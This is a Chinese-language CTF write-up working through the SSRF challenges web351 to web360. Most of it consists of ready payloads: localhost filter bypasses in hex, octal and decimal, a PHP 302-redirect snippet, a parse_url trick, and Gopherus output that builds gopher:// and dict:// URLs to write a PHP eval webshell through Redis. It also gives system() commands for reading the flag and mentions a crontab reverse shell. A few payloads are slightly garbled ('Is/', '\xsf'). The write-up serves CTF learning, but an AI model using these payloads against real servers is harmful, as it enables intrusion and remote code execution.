这周轮到我来讲SSRF好开心呀
接下来由我来讲解过程
web351
首先是第一道题
这里存在一个flag.php 页面但是你访问返回不是本地用户的消息,这里直接传就可以了
url=http://127.0.0.1/flag.php
然后就直接能拿到flag啦
web352
我们可以看到这里加了过滤,过滤了localhost和127.0.0
还是接着用刚才那个方法
url=http://127.0.1/flag.php
也是可以的
web353
这里可以使用16进制
url=http://0x7f.0.0.1/flag.php
这里还可以使用八进制
url=http://0177.0.0.1/flag.php
十进制也是可以的总之方法很多
甚至用绕过
url=http://0/flag.php
url=http://0.0.0/flag.php
web354
原理:用302跳转 (一个域名)过滤了1和0
这里科普一下:302跳转就网址重定向的一种,它区别于301跳转,301是网址永久重定向,302则是网址的临时定向。302转向或者302重定向(302 redirect)指的是当浏览器要求一个网页的时候,主机所返回的状态码。302状态码的意义是暂时转向到另外一个网址。
url=http://sudo.cc/flag.php
vps上搭建一个:
<?php
header("Location:http://127.0.0.1/flag.php");
web355
设置了$host<5的限制,要求长度小于5那直接http://127.1/flag.php就可以了
url=http://127.1/flag.php
web356
注意:这里要求小于等于3
绝了限制$host<3,
payload:url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
url=http://0/flag.php
web357
web358
url=http://ctf.@127.0.0.1/flag.php?show
这样parse_url()
真正解析出来的host是127.0.0.1,ctf.
变为了user字段,可以尝试本地解析一下:
<?php
$url="http://ctf.@127.0.0.1/flag.php?show";
$x=parse_url($url);
var_dump($x);
?>
Web359
然而这一题开始稍微有点难了
首先要下载 工具下载地址https://github.com/tarunkant/Gopherus
python gopherus.py --exploit mysql //运行脚本
将这一段的代码
传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。
然后访问a.php,就可以找到flag
bit=system('Is/');
1=system('cat /flag.txt');
Web360
SSRF打Redis
写webshell
url=dict://127.0.0.1:6379/config:set:shell:"\x3c\x3f\x70\x20\x65\x76\x61\x6c\x28\x25\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\xsf\x3e"
url=dict://127.0.0.1:6379/config:set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x62\x69\x74\x5d\x29\x3b\x3f\x3e"
url=dict://127.0.0.1:6379/config:set:dbfilename:bit.php
写ssh公钥
写contrab计划反弹shell
主从复制
root@xl-bit:~/CTF/Gopherus# python gopherus.py --exploit redis
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): php
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[bit]);?>
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bbit%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
-----------Made-by-SpyD3r-----------
接下来操作方法大同小异,随便找找就有flag啦